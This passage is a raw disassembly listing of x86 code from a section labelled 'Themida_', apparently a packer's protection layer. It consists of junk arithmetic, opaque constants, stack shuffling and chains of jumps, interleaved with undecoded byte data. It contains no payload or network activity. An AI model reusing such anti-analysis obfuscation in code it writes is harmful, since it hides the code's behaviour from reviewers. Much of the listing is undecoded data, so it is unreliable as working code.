; ---------------------------------------------------------------------------

loc_54D7BB:				; CODE XREF: Themida_:005474FDj
		mov	[esp], esi
		mov	esi, 26C22257h
		mov	edx, esi
		jmp	loc_5481FA
; ---------------------------------------------------------------------------

loc_54D7CA:				; CODE XREF: Themida_:00546FE1j
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_551D68
; ---------------------------------------------------------------------------

loc_54D7E6:				; CODE XREF: Themida_:0054781Dj
		shl	ebp, 8
		not	ebp
		not	ebp
		jmp	loc_54F730
; ---------------------------------------------------------------------------
		dw 2BFh
		dd 5000000h, 5D145EEAh,	0C8E9F801h, 4700002Ch, 341E781h
		dd 0E9552840h, 0FFFFB0FFh, 1AE9F729h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54D817:				; CODE XREF: Themida_:0054EEEEj
		add	ebx, 4
		jmp	loc_54C952
; ---------------------------------------------------------------------------

loc_54D81F:				; CODE XREF: Themida_:0054C799j
		add	ebx, 15402E7Eh
		mov	[ebx], dl
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	ebx
		jmp	loc_55043F
; ---------------------------------------------------------------------------
		db 89h
		dd 0B5E92404h, 8BFFFF96h, 0EC81240Ch, 4, 89240489h, 405E0h
		dd 0C0830000h, 24048704h, 4EC835Ch, 0E9241C89h,	0FFFFDD34h
; ---------------------------------------------------------------------------

loc_54D864:				; CODE XREF: Themida_:00549909j
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	esp
		jmp	loc_54826B
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 3304C383h, 1C31241Ch,	241C3324h, 0E1FDE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D88A:				; CODE XREF: Themida_:0054B169j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54CF88
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 8924248Bh, 4DE92404h, 81FFFF96h, 0B6324C1h, 78C98100h
		dd 8147D931h, 85B49EC1h, 59CB011Dh, 668C381h, 61E929F6h
		dd 81000008h, 19052EC6h, 5EF0290Ch, 4E42E9h, 6FEB8100h
		dd 50784C3Eh, 9EAE5FB8h, 58C3290Fh, 0D5769005h,	2DD80129h
		dd 29D57690h, 81241C8Bh, 4C4h, 24048700h, 66F1F65Ch, 53CCB60Fh
		dd 0C381E389h, 4, 3698E9h
		db 0
; ---------------------------------------------------------------------------

loc_54D911:				; CODE XREF: Themida_:00547C2Bj
		mov	[esp], ebx
		jmp	loc_54FE9F
; ---------------------------------------------------------------------------

loc_54D919:				; CODE XREF: Themida_:00551DA3j
		mov	[esp], edi
		mov	edi, 20000h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_54843C
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C78104E7h, 687F1DE1h, 1915E781h, 0E7C173F7h, 0C4C78106h
		dd 0E97E7FBFh, 0FFFFAA2Eh, 201426BEh, 0E9F5011Bh, 34C0h
; ---------------------------------------------------------------------------

loc_54D958:				; CODE XREF: Themida_:0054B4D1j
		add	esp, 4
		add	ebx, 44BB1BF7h
		add	ebx, edi
		sub	ebx, 44BB1BF7h
		jmp	loc_551DA8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89522404h, 4C281E2h,	83000000h, 148704EAh, 24248B24h
		dd 68242C89h, 0B38h, 4EC81h, 8F540000h,	4812404h, 424h
		dd 318FE900h, 1CF70000h, 49E99C24h, 2CFFFF95h, 148B66F9h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5519E7
; ---------------------------------------------------------------------------
aLSs3		db '‹<$Sé3',0Dh,0
		dw 6800h
		dd 289Bh, 0E9240C89h, 0FFFFFC5Ch
; ---------------------------------------------------------------------------

loc_54D9E4:				; CODE XREF: Themida_:0054A135j
		inc	edi
		xor	edi, 3CEB1419h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4
		jmp	loc_547060
; ---------------------------------------------------------------------------
aRSif		db 'R¶³é‰F',0
		dd 89DA8900h, 8B5B5AD1h, 0C4832404h, 8BC83104h,	0C483240Ch
		dd 0A150E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DA1E:				; CODE XREF: Themida_:005525EDj
		push	esi
		push	ebp
		push	edx
		mov	edx, 0FF00318h
		add	edx, 68675C55h
		jmp	loc_551069
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0F7h
		dd 55F5C781h, 505E68FBh, 2B8h, 58C70100h, 5C243C87h, 2404D366h
		dd 94A2E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DA52:				; CODE XREF: Themida_:00548351j
		pop	ebx
		add	eax, ecx
		add	eax, 77F70E67h
		pop	ecx
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_552B5E
; ---------------------------------------------------------------------------
		dd 148BD128h, 51A9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DA72:				; CODE XREF: Themida_:00547325j
		push	edx
		jmp	loc_54CBF4
; ---------------------------------------------------------------------------
		dd 9C241CF6h, 0FF9473E9h, 11BDBDFFh, 25E95BABh,	8BFFFFE4h
		dd 0F7662424h, 9A6866F9h, 1489663Ch, 9C506624h,	0FF9453E9h
		dd 7FBA52FFh, 506CF113h, 0C279DDB8h, 58C23117h,	30EBBB53h
		dd 34E97AF8h, 2CFFFFCEh, 24148B79h, 0FFCDD1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DAC5:				; CODE XREF: Themida_:0054DEB8j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551A20
; ---------------------------------------------------------------------------
		db 0BAh, 83h, 2Ch
		dd 0D68979C8h, 39EE815Ah, 57182A4Eh, 0BFh, 2DC78100h, 81291101h
		dd 0B51F10C7h, 51F72925h, 657BC9B9h, 0E9D9F705h, 0FFFFCAB6h
		dd 0EDE95D5Ch, 59FFFF93h, 0E95DEF01h, 0FFFFA5BAh
; ---------------------------------------------------------------------------

loc_54DB10:				; CODE XREF: Themida_:00550542j
		shl	esi, 5
		push	67Eh
		mov	[esp], edi
		mov	edi, 7A5F5C44h
		push	edx
		mov	edx, 5BAF7BAEh
		sub	edi, edx
		pop	edx
		or	edi, 28AD1863h
		or	edi, 3CFE08FFh
		xor	edi, 6B75C43Fh
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		xor	dword ptr [esp], 251A2787h
		pop	ebx
		xor	ebx, 251A2787h
		mov	esi, [esp]
		add	esp, 4
		and	ecx, ebx
		pop	ebx
		jmp	loc_54D358
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		dd 66E95324h, 5CFFFFF2h, 0E902C283h, 47FFh, 0FF3877FFh
		dd 52592434h, 0C281E289h, 4, 4EA81h, 14870000h,	4044E924h
		dd 0E9C10000h, 0B711E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DBAA:				; CODE XREF: Themida_:0054E6A8j
		sub	ecx, 3A823AF4h
		push	ebp
		mov	ebp, 248C4BAFh
		neg	ebp
		not	ebp
		xor	ebp, 64482AD0h
		add	ecx, ebp
		pop	ebp
		or	ecx, 3B5C1DCFh
		sub	ecx, 49138195h
		sub	eax, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_54EAE1
; ---------------------------------------------------------------------------
		db 68h,	1Dh, 25h
		dd 815B538Bh, 14060FC3h, 0D8C38148h, 896460D4h,	0BF575BD9h
		dd 2AA9334Ch, 3FB3E9h, 24148B00h, 81E18951h, 4C1h, 4C18100h
		dd 87000000h, 5D5C240Ch, 4246C81h, 241D1CF8h, 4244C01h
		dd 0FFF338E9h, 0E9D101FFh, 0FFFFF620h, 54242C89h, 0E9242C8Bh
		dd 0FFFFCC42h, 0E932FF64h, 0FFFF92B4h, 5C24048Fh, 0FFEAACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DC49:				; CODE XREF: Themida_:0054F946j
		sub	[edi+24h], ebx
		pop	ebx

loc_54DC4D:				; CODE XREF: Themida_:0054767Ej
		push	6C3Ch
		mov	[esp], edx
		push	ebx
		add	dword ptr [esp], 349528F2h
		pop	edx
		push	esi
		push	349528F2h
		jmp	loc_551E49
; ---------------------------------------------------------------------------
		db 29h,	0D3h, 5Ah
		dd 8324148Bh, 0D82904C4h, 83241C8Bh, 586804C4h,	89000021h
		dd 72BF243Ch, 47353035h, 0FFD8B7E9h, 241C33FFh,	2404895Ch
		dd 0FFD0C3E9h, 0CB8858FFh, 0DCEBE959h, 8957FFFFh, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 66C3315Ch, 35E930FFh, 68FFFF92h
		dd 7CF5h, 24048F54h, 4240483h, 0E9240C8Bh, 574h
; ---------------------------------------------------------------------------

loc_54DCD4:				; CODE XREF: Themida_:0054B74Cj
		add	ebp, 2D8DC35Ch
		sub	edx, ebp
		pop	ebp
		mov	ebx, edx
		pop	edx
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_550695
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 80h
		dd 0C5FE4DF5h, 0E905E5C0h, 0FFFFBDAFh
; ---------------------------------------------------------------------------

loc_54DD08:				; CODE XREF: Themida_:005492A0j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55236F
; ---------------------------------------------------------------------------
		db 56h,	89h, 0E6h
		dd 0FFD7C1E9h, 8BE831FFh, 7E9242Ch, 53FFFFC2h, 0FD88C788h
		dd 0FFD253E9h, 0F2E950FFh, 89FFFFBEh, 2434FFF8h, 4C4835Fh
		dd 34FFC201h, 0D463E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DD4E:				; CODE XREF: Themida_:0054C54Dj
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 627D710Dh
		pop	dword ptr [edi+24h]
		jmp	loc_54E821
; ---------------------------------------------------------------------------
		dw 489h
		dd 48146824h, 3CE90000h, 0F7FFFF99h, 0F3C9E9D3h, 489FFFFh
		dd 7D98B824h, 0BD557662h, 4F680A1Ch, 0FFEF6EE9h, 685550FFh
		dd 6AC77C52h, 17DDE9h, 24048100h, 4, 40558h, 0C0830000h
		dd 24043302h, 33240431h, 248B2404h, 4EC8324h, 0FFD508E9h
		dd 505954FFh, 11C5E956h, 0E2C10000h, 1ABF5706h,	0F710BE12h
		dd 0E9DFF7DFh, 0FFFFDD5Dh, 24048F5Bh, 0E924248Bh, 1909h
		dd 0BB59A4B9h, 1E98125h, 55000000h, 0AD5BE4BDh,	3DFDE937h
		dd 525D0000h, 2722BE56h, 0C6814F3Eh, 0C942B5h, 962BC681h
		dd 0F289AFF8h, 0F7E9535Eh
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DE17:				; CODE XREF: Themida_:0054C3C5j
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	eax
		jmp	loc_54BABF
; ---------------------------------------------------------------------------

loc_54DE24:				; CODE XREF: Themida_:0054877Fj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_54BA19
; ---------------------------------------------------------------------------
		dd 0E9243C87h, 0FFFFC85Bh, 7CED8158h, 294CAE11h, 7CC581D5h
		dd 894CAE11h, 834A5DEAh, 80E904ECh
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54DE5B:				; CODE XREF: Themida_:00547F8Fj
		mov	eax, esp
		push	edi
		push	ebp
		jmp	loc_54AF90
; ---------------------------------------------------------------------------
		dd 0C9A0E957h, 0C681FFFFh, 4, 5E08950h,	4, 42Dh, 24048700h
		dd 2414895Ch, 468h, 0D6015A00h,	0FFDC0CE9h, 83E089FFh
		dd 148904ECh, 4BA24h, 0C8050000h, 0E9259863h, 33CEh, 34FFC730h
		dd 0B4E95824h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DEB3:				; CODE XREF: Themida_:0054C378j
		add	eax, 4
		jmp	loc_54DAC5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 2Eh
		dd 814D861Eh, 6C3DE0C7h, 33B95104h, 0E96E0B0Fh,	0FFFFB61Bh
		dd 7CEBB966h, 13E98166h, 0C1816677h, 87666BFBh,	664766F9h
		dd 0C166F987h, 536603E9h, 45A0BB66h, 0FFD1B9E9h, 94E957FFh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DEFF:				; CODE XREF: Themida_:0054A4F4j
		not	ch
		neg	ch
		jmp	loc_54A523
; ---------------------------------------------------------------------------
		dd 42474FFh, 47AAE9h
		db 0
; ---------------------------------------------------------------------------

loc_54DF11:				; CODE XREF: Themida_:005528B7j
		mov	edi, 0A40F6C79h
		add	ebx, 6F4755D1h
		add	ebx, edi
		push	ebp
		mov	ebp, 2D6347EAh
		not	ebp
		inc	ebp
		neg	ebp
		add	ebp, 687349D8h
		jmp	loc_549650
; ---------------------------------------------------------------------------
		dd 0FF8FBBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DF39:				; CODE XREF: Themida_:0054EC0Ej
		mov	ebp, 37337AC6h
		jmp	loc_5493E6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E7895700h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 50240C89h, 0B02BB753h, 5BF800F1h, 0BB8E9h, 88FA8800h
		dd 24148BD5h, 5B04C483h, 0FFF4FBE9h, 27B951FFh,	1036B2Ah
		dd 815B59CFh, 2C7h, 243C3300h, 33243C31h, 248B243Ch, 0C8B6624h
		dd 5AF46824h, 0CDE90000h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DFA7:				; CODE XREF: Themida_:0054A278j
		push	edi
		mov	edi, 47D42DBAh
		jmp	loc_547CAD
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 9034E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DFBA:				; CODE XREF: Themida_:0054FBC3j
		mov	edx, 543C3794h
		sub	[esp+8], edx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		jmp	loc_54F24F
; ---------------------------------------------------------------------------
		dw 0C15Ch
		dd 0D0E904E5h, 89FFFF92h, 61BB241Ch, 8127E01Ah,	772AFCF3h
		dd 5BDA2154h, 0FFE862E9h, 4077FFFFh, 0FF8EFBE9h, 1C77FFFFh
		dd 1858669Dh, 0E99C2404h, 0FFFF8EECh
; ---------------------------------------------------------------------------

loc_54E008:				; CODE XREF: Themida_:00550341j
		or	edx, eax
		jmp	loc_547D07
; ---------------------------------------------------------------------------
		db 5Ch
		dd 24048B66h, 4EC81h, 1C890000h, 0F5CEE924h, 2D40FFFFh
		dd 66F920BAh, 0BF821635h, 8BC18964h, 0BE92404h,	8100001Ch
		dd 4C4h, 13BB5300h, 0F7180106h,	0EBC143DBh, 0F7CB8704h
		dd 0E9CB87D1h, 0FFFFF110h, 5E5AD789h, 5004E7C1h, 665FEFB8h
		dd 5F280D17h, 2D484951h, 5A08B89Ch, 2D58C701h, 6D1D4E08h
		dd 805F829h, 0E96D1D4Eh, 0FFFFB602h, 0EA87DD31h, 7E5CF281h
		dd 0EA812550h, 0CAC3999Fh, 0FFFB90E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E095:				; CODE XREF: Themida_:00550E58j
		push	ebp
		mov	ebp, 1
		mov	ecx, ebp
		pop	ebp
		jmp	loc_54BD57
; ---------------------------------------------------------------------------
		db 83h
		dd 0FAE904C4h, 66000042h, 55240C8Bh, 0FF9DF7E9h, 0E9495DFFh
		dd 0FFFFB105h, 4C181h, 0C1830000h, 240C8704h, 0FF9208E9h
		dd 0E9E589FFh, 0FFFFF29Fh
; ---------------------------------------------------------------------------

loc_54E0D4:				; CODE XREF: Themida_:00551119j
		add	esp, 4
		shl	edi, 6
		jmp	loc_54E77F
; ---------------------------------------------------------------------------

loc_54E0E2:				; CODE XREF: Themida_:005518F6j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_547828
; ---------------------------------------------------------------------------

loc_54E0F2:				; CODE XREF: Themida_:0054B418j
		pop	ebp
		jmp	loc_548AA7
; ---------------------------------------------------------------------------

loc_54E0F8:				; CODE XREF: Themida_:0054BFF7j
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	17E01A5Dh
		pop	edx
		add	eax, edx
		mov	edx, [esp]
		push	69ECh
		mov	[esp], esi
		jmp	loc_54BF0B
; ---------------------------------------------------------------------------

loc_54E118:				; CODE XREF: Themida_:0054B6BBj
		mov	ebp, 8771A1h
		xor	ebp, 8771A5h
		jmp	loc_54727E
; ---------------------------------------------------------------------------
		dd 5E31B850h, 2705703Fh, 29B6E2F3h, 0AE6858C3h,	89000049h
		dd 34BA2414h, 0E9268A1Eh, 430Ah, 0E92C77FFh, 0FFFF8DA4h
; ---------------------------------------------------------------------------

loc_54E150:				; CODE XREF: Themida_:0054F701j
		shr	esi, 2
		sub	esi, 13250BACh
		add	edi, esi
		jmp	loc_54F2A9
; ---------------------------------------------------------------------------
		dd 28B6664h, 4EC81h, 34890000h,	815E5424h, 4C6h, 0D68FE900h
		dd 295FFFFFh, 0F985E9CDh, 1489FFFFh, 6CE95724h,	5D00002Ch
		dd 15EF101h, 240C8BCFh,	4C481h,	0C7810000h, 4, 8B243C87h
		dd 0B70F2424h, 5F8E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E1AE:				; CODE XREF: Themida_:0054EC54j
		pop	ebx
		and	eax, edi
		jmp	loc_552923
; ---------------------------------------------------------------------------
		dw 39E9h
		dd 81FFFF8Dh, 0D5655EC1h, 0CEBD5548h, 8172ED60h, 3514ECC5h
		dd 0CD34E9F4h, 885AFFFFh, 0E5E95BD9h, 50000035h, 0EE9585Ah
		dd 0F700002Bh, 94EE81D6h, 219947A0h, 24348BF2h,	8704C483h
		dd 0F7DD87EAh, 31DD31D3h, 0FE7EE9EBh, 0C581FFFFh, 6E9F4AC2h
		dd 83240C8Bh, 0EA8104C4h, 9D008D8h, 3D3CE956h, 0D1290000h
		dd 0C159CA89h, 0B95105EAh, 7AE54083h, 8159CA29h, 88061AC2h
		dd 4B10E9A7h, 0BA520000h, 4, 875AD329h,	0E95C241Ch, 3C0Dh
		dd 0E904C483h, 45A6h, 0BB53C201h, 69AB6950h, 3CA7B951h
		dd 0F181464Fh, 493400C1h, 5659CB01h, 1BEh, 8BF32900h, 0C4812434h
		dd 4, 4187EB81h, 0C2810EE5h, 6E7E2F33h,	0BE56DA29h, 6E7E2F33h
		dd 348BF229h, 4C48124h,	0FF000000h, 815B2434h, 4C4h, 8C4EE900h
		dd 0E289FFFFh, 4BB53h, 0DA010000h, 0E9241C8Bh, 232Ah
; ---------------------------------------------------------------------------

loc_54E2B8:				; CODE XREF: Themida_:0054E841j
		mov	eax, 6FC05522h
		xor	eax, 6FC05526h
		add	ecx, eax
		pop	eax
		push	edx
		push	ecx
		jmp	loc_5489E8
; ---------------------------------------------------------------------------
		dd 79836855h, 0E95D78F3h, 0FFFFD96Fh, 269168h, 24148900h
		dd 0C281E289h, 4, 5204C283h, 42474FFh, 0F94AE95Ah, 8B66FFFFh
		dd 0EC81240Ch, 4, 89241489h, 0C068E2h, 69E90000h, 5000001Dh
		dd 0E3046B8h, 4EC833Bh,	0BA241489h, 7C57675Fh, 355AD029h
		dd 881F96AEh, 3DE9C589h, 51FFFFD6h, 0D33468B9h,	17D8E932h
		dd 248B0000h, 31C33124h, 8BAEE9C2h, 895CFFFFh, 478F2404h
		dd 38E1E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E352:				; CODE XREF: Themida_:00550593j
		add	ecx, ebx
		jmp	loc_54BA57
; ---------------------------------------------------------------------------

loc_54E359:				; CODE XREF: Themida_:005488FEj
		push	ax
		jmp	loc_54BC17
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFA374h, 1D7244B9h, 0F7D9F758h, 49D1F7D1h
		dd 5FC18149h, 0E9775786h, 0FFFFCD96h, 2E03C581h, 0C58133D6h
		dd 26022ACFh, 0FFC078E9h, 240C89FFh, 47FEE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E399:				; CODE XREF: Themida_:00549ED2j
		add	ebx, 0DF4D28Fh
		xor	eax, ebx
		pop	ebx
		push	59BAh
		mov	[esp], edx
		mov	edx, 377C7838h
		xor	edx, 1206717Bh
		not	edx
		shl	edx, 3
		xor	edx, 9A77ABABh
		xor	eax, edx
		pop	edx
		mov	ebp, eax
		push	dword ptr [esp]
		jmp	loc_551B61
; ---------------------------------------------------------------------------

loc_54E3CD:				; CODE XREF: Themida_:0054FAFAj
		mov	edi, esp
		add	edi, 4
		jmp	loc_54EDB5
; ---------------------------------------------------------------------------
		dw 0EE2Ch
		dd 5E9D028h, 81000010h,	4C7h, 787C6800h, 34890000h, 17B8BE24h
		dd 814E4547h, 0E479D1E6h, 93F68107h, 0E9054411h, 0FFFF9114h
		dd 4EC81h, 2C890000h, 2474FF24h, 0E2B9E904h, 0C783FFFFh
		dd 48F78101h, 318C8787h, 243C8BF8h, 4C481h, 0D1E90000h
		dd 80000018h, 0C82831C1h, 0A8DAE959h, 0EAC1FFFFh, 0CCA8105h
		dd 810C2275h, 0EB273FF2h, 0A1C2814Dh, 1BCA32Dh,	0DFE95AD5h
		dd 66FFFFB8h, 0E9240C89h, 3104h
; ---------------------------------------------------------------------------

loc_54E464:				; CODE XREF: Themida_:00550C92j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 10h
		mov	edi, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_54FB2C
; ---------------------------------------------------------------------------
		dw 8B5Dh
		dd 0C481240Ch, 4, 205h,	24048700h, 6624248Bh, 6824048Bh
		dd 6964h, 81242C89h, 4ECh, 48F5400h, 967CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4CA:				; CODE XREF: Themida_:005505BFj
		push	ebp
		mov	ebp, 18EB4706h
		xor	[esp+4], ebp
		jmp	loc_549DE8
; ---------------------------------------------------------------------------

loc_54E4D9:				; CODE XREF: Themida_:0055072Fj
		push	esi
		mov	esi, 0ED46458h
		shr	esi, 2
		push	ebp
		mov	ebp, 3C271115h
		push	ebx
		jmp	loc_5479C2
; ---------------------------------------------------------------------------

loc_54E4EE:				; CODE XREF: Themida_:00547468j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		not	edx
		jmp	loc_5514FA
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 89512424h, 4C181E1h, 0E9000000h, 1C73h, 4C3815Bh
		dd 83000000h, 1C8704C3h, 43685C24h, 8900003Eh, 14B82404h
		dd 533171Fh, 332478F8h,	1D17E948h, 0E9530000h, 0FFFFC782h
		dd 8159CB29h, 0C8799BC3h, 83C3010Ah, 2C8904ECh,	799BBD24h
		dd 0EB290AC8h, 8BD555Dh, 8110AF45h, 365D41CDh, 0FF46812h
		dd 34890000h, 2B8EBE24h, 0C5815E79h, 1F3F5FBAh,	0ED81F529h
		dd 1F3F5FBAh, 8ABCE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E58A:				; CODE XREF: Themida_:0054A118j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		imul	cl
		movzx	cx, ah
		push	small 3CE4h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_546EF4
; ---------------------------------------------------------------------------

loc_54E5AB:				; CODE XREF: Themida_:00551CB5j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, 639B2F4Eh
		add	ecx, 0FFFFFFFFh
		shl	ecx, 2
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4F7D05B6h
		add	esi, 0D957CD1h
		inc	esi
		or	esi, 180137CAh
		or	esi, 18763D80h
		sub	esi, 0EBE46CFEh
		add	ecx, esi
		pop	esi
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547B32
; ---------------------------------------------------------------------------
		dw 0A005h
		dd 0E972C419h, 0FFFFEDDEh, 0BB241C89h, 8CA7DA5h, 3CDEEB81h
		dd 0DA89E6D6h, 0B9515Bh, 0E9000000h, 0FFFFFBE6h, 4C781h
		dd 14E90000h, 5700003Ah, 16A06856h, 0E95E58E6h,	1FDCh
; ---------------------------------------------------------------------------

loc_54E64C:				; CODE XREF: Themida_:0054FCEBj
		push	8E4h
		jmp	loc_54A46A
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 225D72A7h, 8D5DC381h, 0C781DDA2h, 23497A07h,	0EF81DF01h
		dd 23497A07h, 41FBE95Bh, 34FF0000h, 2434FF24h, 5A2434FFh
		dd 4C481h, 89560000h, 4EC83E6h,	0FFB95DE9h, 678859FFh
		dd 24048B28h, 0FFFA06E9h, 11E4BFFFh, 92E90450h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E6A7:				; CODE XREF: Themida_:00548F4Dj
		pop	ecx
		jmp	loc_54DBAA
; ---------------------------------------------------------------------------

loc_54E6AD:				; CODE XREF: Themida_:005514FEj
		xor	ebp, eax
		xor	eax, ebp
		push	326Bh
		mov	[esp], ecx
		mov	ecx, 1
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_550562
; ---------------------------------------------------------------------------
		db 53h
		dd 3FE9E389h, 89FFFFAFh, 5B5759CFh, 0E9243C8Bh,	40Eh, 0E9E38953h
		dd 0FFFF9D36h
; ---------------------------------------------------------------------------

loc_54E6E8:				; CODE XREF: Themida_:00547DCEj
		pop	ebx
		add	edi, 4
		push	4E40h
		mov	[esp], edi
		jmp	loc_54BB01
; ---------------------------------------------------------------------------
		db 59h,	56h, 0BEh
		dd 4B6E303Dh, 0D106E6C1h, 90E1E9EEh, 0E389FFFFh, 4C381h
		dd 0C3830000h, 241C8704h, 0EB89535Ch, 1C8BD989h, 4C48124h
		dd 5D000000h, 4244481h,	51C361EBh, 4244C01h, 0B8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_54E739:				; CODE XREF: Themida_:00551E78j
		not	dword ptr [esp]
		jmp	loc_55113E
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0D760E924h, 0C33FFFFh, 240C3124h, 5C240C33h,	6824048Bh
		dd 1D9Eh, 89243489h, 4C681E6h, 83000000h, 17E904EEh, 0FF000002h
		dd 669D1C77h, 4196658h,	75E99C24h
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E77F:				; CODE XREF: Themida_:0054E0DDj
		sub	edi, 39FF5887h
		sub	edi, 5ACA58E0h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 40292490h
		xor	ebp, 59DA5BCEh
		shr	ebp, 1
		jmp	loc_54BBD1
; ---------------------------------------------------------------------------
		dw 768h
		dd 0E9000030h, 0FFFFD1F9h, 42474FFh, 0FFE864E9h, 59CD31FFh
		dd 0CBABF57h, 0EF816FA3h, 7C050CD7h, 0C6C5F781h, 0EFC1C7CBh
		dd 0AEC78104h, 8178B55Dh, 1247ACC7h, 0A6ED81BDh, 150E54Fh
		dd 0B979E9FDh, 5153FFFFh, 88D48850h, 0F4A3E9E1h, 875BFFFFh
		dd 248B240Ch, 4316624h,	0EDE99C24h, 0ADFFFF86h,	0C800092Dh
		dd 63E20522h, 575233FBh, 9E1B5BBFh, 5FFA8908h, 0FF9D0FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E821:				; CODE XREF: Themida_:0054DD61j
		push	edx
		push	ebx
		push	66F25AFBh
		pop	ebx
		not	ebx
		xor	ebx, 0FB70D409h
		jmp	loc_548729
; ---------------------------------------------------------------------------

loc_54E836:				; CODE XREF: Themida_:00551E34j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		push	eax
		jmp	loc_54E2B8
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 8F5B0424h, 70E92404h, 29000025h, 1B6F05F8h, 575F3456h
		dd 0C8E4E956h, 2489FFFFh, 24048124h, 4,	81242C8Bh, 4C4h
		dd 4BE5600h, 81000000h,	75505BC5h, 52F50134h, 0FFD2D7E9h
		dd 0E932FFFFh, 0FFFF8664h, 89525158h, 4C281E2h,	83000000h
		dd 4EE904EAh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E8A3:				; CODE XREF: Themida_:00548207j
		add	ebx, edx
		jmp	loc_54B9C1
; ---------------------------------------------------------------------------
		dw 45E9h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E8AF:				; CODE XREF: Themida_:00548093j
		or	ebx, 281C1077h
